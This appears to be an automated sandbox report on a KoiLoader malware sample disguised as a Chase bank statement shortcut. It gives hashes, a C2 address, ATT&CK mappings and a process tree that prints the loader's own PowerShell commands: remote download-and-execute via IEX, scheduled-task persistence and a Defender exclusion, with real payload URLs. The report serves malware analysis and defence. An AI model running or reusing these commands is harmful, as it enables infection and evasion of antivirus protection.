koiloader | dd56d8d92b125dc1cbd12a164274adf032f2053bfa5ac48c39e645fa1b61400f

General

Target

chase_statement_march.lnk
Size

1KB
MD5

202ee916a0113699880cc2e48a73d353
SHA1

85d9b74b2afa5bf0320e746a2871ef614159db2e
SHA256

02f27282ecc90843bd932d731c87426f78e4f88d79c66374ae06c6d1641c73cb
SHA512

c729137c2680e98e9686d6a2368e184fc38897032d0d0bf1e1c5a84530cc45208bfc60085be768c027d4ce52b627a7f308458ac5ed480c32289bc5a0d7c0a35e

Score

10^/10

koiloader defense_evasion discovery execution loader

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://casettalecese.it/wp-content/uploads/2022/10

Extracted

Family

koiloader

C2

http://94.247.42.253/pilot.php

Attributes

payload_url
https://casettalecese.it/wp-content/uploads/2022/10

Signatures

KoiLoader
KoiLoader is a malware loader written in C++.
loader koiloader
Koiloader family
koiloader

Detects KoiLoader payload 1 IoCs

loader

resource	yara_rule
behavioral2/memory/1640-56-0x0000000007C00000-0x0000000007C0D000-memory.dmp	family_koi_loader

Blocklisted process makes network request 6 IoCs

flow	pid	Process
6	4388	powershell.exe
34	1640	powershell.exe
44	1640	powershell.exe
50	3240	powershell.exe
56	3240	powershell.exe
74	1640	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
1640	powershell.exe
708	powershell.exe
4388	powershell.exe
3240	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	wscript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3342763580-2723508992-2885672917-1000\Control Panel\International\Geo\Nation	wscript.EXE

Indicator Removal: Clear Persistence 1 TTPs 1 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
5876	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DllHost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4720	schtasks.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4388	powershell.exe
4388	powershell.exe
5876	powershell.exe
5876	powershell.exe
1640	powershell.exe
1640	powershell.exe
708	powershell.exe
708	powershell.exe
708	powershell.exe
3240	powershell.exe
3240	powershell.exe
3240	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4388	powershell.exe
Token: SeDebugPrivilege	5876	powershell.exe
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	708	powershell.exe
Token: SeDebugPrivilege	3240	powershell.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 3896 wrote to memory of 4388	3896	cmd.exe	87
PID 3896 wrote to memory of 4388	3896	cmd.exe	87
PID 4388 wrote to memory of 2132	4388	powershell.exe	90
PID 4388 wrote to memory of 2132	4388	powershell.exe	90
PID 4388 wrote to memory of 4720	4388	powershell.exe	92
PID 4388 wrote to memory of 4720	4388	powershell.exe	92
PID 6036 wrote to memory of 5876	6036	wscript.EXE	101
PID 6036 wrote to memory of 5876	6036	wscript.EXE	101
PID 5876 wrote to memory of 2996	5876	powershell.exe	103
PID 5876 wrote to memory of 2996	5876	powershell.exe	103
PID 5876 wrote to memory of 5648	5876	powershell.exe	104
PID 5876 wrote to memory of 5648	5876	powershell.exe	104
PID 5648 wrote to memory of 1640	5648	wscript.exe	105
PID 5648 wrote to memory of 1640	5648	wscript.exe	105
PID 5648 wrote to memory of 1640	5648	wscript.exe	105
PID 5784 wrote to memory of 2740	5784	DllHost.exe	109
PID 5784 wrote to memory of 2740	5784	DllHost.exe	109
PID 5784 wrote to memory of 2740	5784	DllHost.exe	109
PID 2740 wrote to memory of 708	2740	cmd.exe	111
PID 2740 wrote to memory of 708	2740	cmd.exe	111
PID 2740 wrote to memory of 708	2740	cmd.exe	111
PID 1640 wrote to memory of 1192	1640	powershell.exe	112
PID 1640 wrote to memory of 1192	1640	powershell.exe	112
PID 1640 wrote to memory of 1192	1640	powershell.exe	112
PID 1192 wrote to memory of 3240	1192	cmd.exe	114
PID 1192 wrote to memory of 3240	1192	cmd.exe	114
PID 1192 wrote to memory of 3240	1192	cmd.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\chase_statement_march.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3896
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $pdw = $env:programdata + '\' + ('htphwirvsci9k5.js jycqenaew'); $getf='Dow'+'nl'+'oadF'+'ile'; $x5yd46kp30cefn911gg = New-Object Net.WebClient; $wscs = 'wscript '; $x5yd46kp30cefn911gg.$getf('https://casettalecese.it/wp-content/uploads/2022/10/hemigastrectomySDur.php', 'htphwirvsci9k5.js'); . ('curl.e'+'xe') -s -o cs5c09hr6xij 'https://casettalecese.it/wp-content/uploads/2022/10/bivalviaGrr.php'; mv cs5c09hr6xij 'jycqenaew.js'; . ('sc'+'hta'+'s'+'ks') /create /sc minute /mo 1 /f /tr ($wscs + $pdw) /tn jycqenaew;
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4388
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -s -o cs5c09hr6xij https://casettalecese.it/wp-content/uploads/2022/10/bivalviaGrr.php
    3⤵
    PID:2132
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\ProgramData\htphwirvsci9k5.js jycqenaew" /tn jycqenaew
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4720

C:\Windows\system32\wscript.EXE
C:\Windows\system32\wscript.EXE C:\ProgramData\htphwirvsci9k5.js jycqenaew
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:6036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "schtasks /delete /tn jycqenaew /f; wscript $env:programdata\jycqenaew.js "
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5876
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /delete /tn jycqenaew /f
    3⤵
    PID:2996
- - C:\Windows\system32\wscript.exe
    "C:\Windows\system32\wscript.exe" C:\ProgramData\jycqenaew.js
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:5648
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$typs=[Ref].Assembly.GetTypes();$bss = 'https://casettalecese.it/wp-content/uploads/2022/10'; Foreach($tt in $typs) {if ($tt.Name -like '*?siUt*s') {$c=$tt}}; $env:paths = '7zB23P0O6JRQ'; IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/boomier10qD0.php')); IEX(Invoke-WebRequest -UseBasicParsing ($bss+'/nephralgiaMsy.ps1'))"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1640
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://casettalecese.it/wp-content/uploads/2022/10/sd2.ps1')"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1192
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command IEX(IWR -UseBasicParsing 'https://casettalecese.it/wp-content/uploads/2022/10/sd2.ps1')
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3240

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5784
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2740
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:708

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r63e48d52-8c45-4cbc-90d9-6336485f78d0r.js"
1⤵
PID:3940

C:\Windows\System32\wscript.exe
C:\Windows\System32\wscript.exe "C:\ProgramData\r63e48d52-8c45-4cbc-90d9-6336485f78d0r.js"
1⤵
PID:2668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Indicator Removal

1

T1070

Clear Persistence

1

T1070.009

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\cs5c09hr6xij

Filesize
1KB

MD5
586b74a96db6723bfe4c0b7c952f99e7

SHA1
4a8dc8034784ed10a7ae0becd4eac861216eb002

SHA256
87a7d1f17f76e67314861c7a099d1492fb7a26b002c1140129de4db6bf5e195c

SHA512
1c0cb9b16f14a6870e97a52dbaeb1eadbb7dd9c8f897b3b65c51cb0318c3a0a95a6f84005aafa545473047d9d29fc675eac4690e70f1d3009636fbefd15d24c8

Download Submit
C:\ProgramData\htphwirvsci9k5.js

Filesize
198B

MD5
af9f1f2076317c03e21d56367e638af4

SHA1
61c4f850591f851acd3108104ef14f0fe32f95a6

SHA256
70835a8f7ea6c93942935a6f9fef1ae4591c22e873e3b06000ef01437f2090c1

SHA512
c280492024a902e3988c88dca7e21fc622df1bdf66796d9baf06a3b393550ac3d771589b0c51e7c246991d314c0729e7631cd1c08ba575683d9abdef7295b29c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
968cb9309758126772781b83adb8a28f

SHA1
8da30e71accf186b2ba11da1797cf67f8f78b47c

SHA256
92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

SHA512
4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
6cb1670dbf3373665f3912cc95e71976

SHA1
9fa35cc57a1de12d10fe72769ca06731d6034b97

SHA256
9e094e1e6e0925a65684faa393a8bfc0662e0620a19f175b1ed13a3684dd3f50

SHA512
936cbafa5b94ac4758ce9d5bdfa13f3ec30de4a04605480c09b28aab524ccc5d75ba7bc3bb0d415323082d4f7074a074cd42f3f1562ca7f4a3ef437edaf41e85

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f005fa58be97086bd62894e16d741faa

SHA1
425fa49035d960f8c8697552446e72c127537d5f

SHA256
8b68c22e46bbde1973d2cd9bd82c2da8add3bd81ccbdaf17b1be4470e02cfe6d

SHA512
43535681482b4675496d3f3549d472820300cb7e7b836158c3f1af2faf7218d15a7e6eeb95f03ec5b7ef61f5e6c01e619a332181b553c1ee7ae71909f1931486

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dwuj2ljl.qgm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/708-97-0x0000000007080000-0x0000000007088000-memory.dmp

Filesize
32KB

Download
memory/708-96-0x00000000070A0000-0x00000000070BA000-memory.dmp

Filesize
104KB

Download
memory/708-95-0x0000000006FA0000-0x0000000006FB4000-memory.dmp

Filesize
80KB

Download
memory/708-94-0x0000000006F90000-0x0000000006F9E000-memory.dmp

Filesize
56KB

Download
memory/708-84-0x0000000006F60000-0x0000000006F71000-memory.dmp

Filesize
68KB

Download
memory/708-83-0x0000000006FE0000-0x0000000007076000-memory.dmp

Filesize
600KB

Download
memory/708-82-0x0000000006DD0000-0x0000000006DDA000-memory.dmp

Filesize
40KB

Download
memory/708-81-0x0000000006C10000-0x0000000006CB3000-memory.dmp

Filesize
652KB

Download
memory/708-69-0x0000000006BD0000-0x0000000006C02000-memory.dmp

Filesize
200KB

Download
memory/708-80-0x0000000006BB0000-0x0000000006BCE000-memory.dmp

Filesize
120KB

Download
memory/708-70-0x0000000070AF0000-0x0000000070B3C000-memory.dmp

Filesize
304KB

Download
memory/1640-35-0x00000000030A0000-0x00000000030D6000-memory.dmp

Filesize
216KB

Download
memory/1640-36-0x00000000059B0000-0x0000000005FD8000-memory.dmp

Filesize
6.2MB

Download
memory/1640-55-0x0000000007B60000-0x0000000007B61000-memory.dmp

Filesize
4KB

Download
memory/1640-56-0x0000000007C00000-0x0000000007C0D000-memory.dmp

Filesize
52KB

Download
memory/1640-53-0x0000000006A70000-0x0000000006A8A000-memory.dmp

Filesize
104KB

Download
memory/1640-52-0x00000000066B0000-0x00000000066FC000-memory.dmp

Filesize
304KB

Download
memory/1640-51-0x0000000006670000-0x000000000668E000-memory.dmp

Filesize
120KB

Download
memory/1640-49-0x00000000060E0000-0x0000000006434000-memory.dmp

Filesize
3.3MB

Download
memory/1640-39-0x00000000057C0000-0x0000000005826000-memory.dmp

Filesize
408KB

Download
memory/1640-38-0x0000000005750000-0x00000000057B6000-memory.dmp

Filesize
408KB

Download
memory/1640-37-0x00000000056B0000-0x00000000056D2000-memory.dmp

Filesize
136KB

Download
memory/1640-54-0x0000000007D00000-0x000000000837A000-memory.dmp

Filesize
6.5MB

Download
memory/3240-100-0x0000000007ED0000-0x0000000007EF2000-memory.dmp

Filesize
136KB

Download
memory/3240-101-0x0000000008C60000-0x0000000009204000-memory.dmp

Filesize
5.6MB

Download
memory/3240-102-0x00000000086B0000-0x00000000086CA000-memory.dmp

Filesize
104KB

Download
memory/3240-103-0x0000000008740000-0x0000000008790000-memory.dmp

Filesize
320KB

Download
memory/3240-104-0x0000000008830000-0x00000000088C2000-memory.dmp

Filesize
584KB

Download
memory/4388-2-0x00007FFFA6A83000-0x00007FFFA6A85000-memory.dmp

Filesize
8KB

Download
memory/4388-20-0x00007FFFA6A80000-0x00007FFFA7541000-memory.dmp

Filesize
10.8MB

Download
memory/4388-14-0x00007FFFA6A80000-0x00007FFFA7541000-memory.dmp

Filesize
10.8MB

Download
memory/4388-13-0x00007FFFA6A80000-0x00007FFFA7541000-memory.dmp

Filesize
10.8MB

Download
memory/4388-3-0x0000017567160000-0x0000017567182000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads